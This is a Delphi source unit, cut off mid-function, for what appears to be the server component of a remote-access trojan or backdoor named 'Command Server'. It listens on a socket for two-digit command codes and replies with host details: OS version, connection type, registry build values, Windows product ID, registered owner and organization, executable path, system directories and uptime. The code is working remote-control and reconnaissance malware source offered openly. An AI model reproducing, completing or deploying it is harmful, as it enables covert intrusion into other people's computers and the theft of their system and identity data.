unit ServerPart1;

interface

Uses
 Windows, Winsock, Messages, Unit1, WinInet, ShellApi;

const
 cOsUnknown = 'Unknown';
 cOsWin95    = 'Win95';
 cOsWin98    = 'Win98';
 cOsWin98SE  = 'Win98SE';
 cOsWinME    = 'WinME';
 cOsWinNT    = 'WinNT';
 cOsWin2000  = 'Win2k';
 cOsXP       = 'WinXP';
 ServerClass = '0x0F0';
 BUFLEN = 65536;
 SM_CONNECT = WM_USER+156;
 SM_SOCKET = WM_USER+157;

Var
 ServerMsg1             : String = 'Command Server. Compiled : 2004/02/15'#13;

 ASiz                   : LongInt;
 CServ2                 : TSocket;
 SRIC2                  : Boolean;
 Connected2             : Boolean;
 Buf2k                  : Array[0..BufLEN-1] of Char;

 Inst                   : Hwnd;
 wClass                 : TWndClass;
 MainWin                : HWND;
 wsData                 : WSADATA;
 Serv1                  : TSocket;
 SockAddrIn             : SockAddr_in;
 RemoteSockAddr         : pSockAddr;
 RemoteSockAddrLen      : pInteger;
 Msg                    : TMsg;

 BSiz                   : LongInt;
 SocketReadIsCaller     : Boolean;
 Connected              : Boolean;
 Buf                    : Array[0..BUFLEN-1] of Char;

 Procedure Server1(Port:Integer);
 Procedure SocketRead1(Str:String);

implementation

Function GetNet:String;
Var
 S:Dword;
Begin
 S := INTERNET_CONNECTION_LAN;
 If InternetGetConnectedState(@S ,0) Then
  If ((S) And (INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN) Then
   Result := 'LAN';
 S := INTERNET_CONNECTION_MODEM;
 If InternetGetConnectedState(@S ,0) Then
  If ((S) And (INTERNET_CONNECTION_MODEM) = INTERNET_CONNECTION_MODEM) Then
   Result := 'Dial-up';
End;

function GetOS: string;
var
  osVerInfo: TOSVersionInfo;
  majorVer, minorVer: Integer;
begin
  Result := cOsUnknown;
  { set operating system type flag }
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if GetVersionEx(osVerInfo) then
  begin
    majorVer := osVerInfo.dwMajorVersion;
    minorVer := osVerInfo.dwMinorVersion;
    case osVerInfo.dwPlatformId of
      VER_PLATFORM_WIN32_NT: { Windows NT/2000 }
        begin
          if majorVer <= 4 then
            Result := cOsWinNT
          else if (majorVer = 5) and (minorVer = 0) then
            Result := cOsWin2000
          else if (majorVer = 5) and (minorVer = 1) then
            Result := cOsXP
          else
            Result := cOsUnknown;
        end; 
      VER_PLATFORM_WIN32_WINDOWS:  { Windows 9x/ME }
        begin 
          if (majorVer = 4) and (minorVer = 0) then
            Result := cOsWin95
          else if (majorVer = 4) and (minorVer = 10) then
          begin 
            if osVerInfo.szCSDVersion[1] = 'A' then
              Result := cOsWin98SE
            else
              Result := cOsWin98; 
          end
          else if (majorVer = 4) and (minorVer = 90) then 
            Result := cOsWinME
          else
            Result := cOsUnknown;
        end;
      else
        Result := cOsUnknown;
    end;
  end
  else
    Result := cOsUnknown;
end;

Function WReceive1: String;
Var
 Str, Res : ShortString;
 Tmp : Cardinal;
 Label Z;
Begin
 Str := '';
 Res := '';
 Tmp := GetTickCount;
 Repeat
Z:
  bSiz := Recv(CServ1, Str[1], 255, 0);
  If bSiz = -1 Then Begin
   bSiz := wsaGetLastError;
   If bSiz = WSAEWOULDBLOCK Then Begin
    If SocketReadIsCaller Then Begin
     Res := 'e!'#13;
     Break;
    End;
    Continue;
   End Else
    Break;
  End;
  SetLength(Str, bSiz);
  Res := Res + Str;
  If Not Connected Then Break;
  If Tmp + 40000 <= GetTickCount Then Break;
  If Res = '' Then Goto Z;
  Until Res[Length(Res)] = #13;
 SetLength(Res, Length(Res)-1);
 Result := Res;
End;

function IntToStr(X: integer): string;
var
 S: string;
begin
 Str(X, S);
 Result := S;
end;

Procedure SocketRead1(Str:String);
Var
 FindFiles_Thread:DWord;
 Str2    : ShortString;
 An,
 Cmd,
 Param  : String;
 tmp1,tmp2,tmp3,tmp4,tmp5:string;
Begin
 If Str = '' Then Begin
  SocketReadIsCaller := True;
  Str2 := WReceive1;
  SocketReadIsCaller := False;
 End Else Str2 := Str;

 Cmd := Copy(Str2, 1, 2);
 Param := Copy(Str2, 3, Length(Str2));

 // !! VERSION
 If Cmd = '10' Then Begin
  An := cmd+'1.0'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! OS
 If Cmd = '11' Then Begin
  An := cmd+GetOs+#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! NET-INFO
 If Cmd = '12' Then Begin
  An := cmd+GetNet+#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! COMPUTER INFO
 If Cmd = '13' Then Begin
  If (GetOs = 'WinXP') or (GetOs = 'Win2k') or (GetOs = 'WinNT') Then Begin
   An := Cmd+'CurrentBuild : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'CurrentBuild');
   An := An + #13 + Cmd  + 'CurrentBuildNumber : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'CurrentBuildNumber');
   An := An + #13 + Cmd  + 'CurrentType : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'CurrentType');
   An := An + #13 + Cmd  + 'CurrentVersion : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'CurrentVersion');
   An := An + #13 + Cmd  + 'PathName : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'PathName')+#13;
   Send(CServ1, An[1], Length(An), 0);
  End Else Begin
   An := Cmd+'CurrentBuild : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'CurrentBuild');
   An := An + #13 + Cmd  + 'CurrentBuildNumber : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'CurrentBuildNumber');
   An := An + #13 + Cmd  + 'CurrentType : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'CurrentType');
   An := An + #13 + Cmd  + 'CurrentVersion : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'CurrentVersion');
   An := An + #13 + Cmd  + 'PathName : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'PathName')+#13;
   Send(CServ1, An[1], Length(An), 0);
  End;
 End;
 // !! SERVER INFO
 If Cmd = '14' Then Begin
  An := Cmd + 'Server Path : '+ParamStr(0);
  An := An + #13 + Cmd + 'SIN : Yes'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! USER INFO
 If Cmd = '15' Then Begin
  If (GetOs = 'WinXP') or (GetOs = 'Win2k') or (GetOs = 'WinNT') Then Begin
   An := Cmd  + 'ProductID : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'ProductID');
   An := An + #13 + Cmd  + 'ProductName : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'ProductName');
   An := An + #13 + Cmd  + 'RegisteredOrganization : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'RegisteredOrganization');
   An := An + #13 + Cmd  + 'RegisteredOwner : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion', 'RegisteredOwner')+#13;
   Send(CServ1, An[1], Length(An), 0);
  End Else Begin
   An := Cmd  + 'ProductID : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'ProductID');
   An := An + #13 + Cmd  + 'ProductName : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'ProductName');
   An := An + #13 + Cmd  + 'RegisteredOrganization : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'RegisteredOrganization');
   An := An + #13 + Cmd  + 'RegisteredOwner : ' + GetRegValue(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion', 'RegisteredOwner')+#13;
   Send(CServ1, An[1], Length(An), 0);
  End;
 End;
 // !! WIN/SYSDIR
 If Cmd = '16' Then Begin
  An := cmd+'SysDir : '+Sysdir+#13;
  Send(CServ1, An[1], Length(An), 0);
  Sleep(70);
  An := cmd+'WinDir : '+Windir+#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! TRANSFER-PORT
 If Cmd = '17' Then Begin
  An := cmd + GetSettings(1)+#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! UPTIME
 If Cmd = '18' Then Begin
  An := cmd + 'Uptime : '+UpTime + #13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! REFRESH
 If Cmd = '19' Then Begin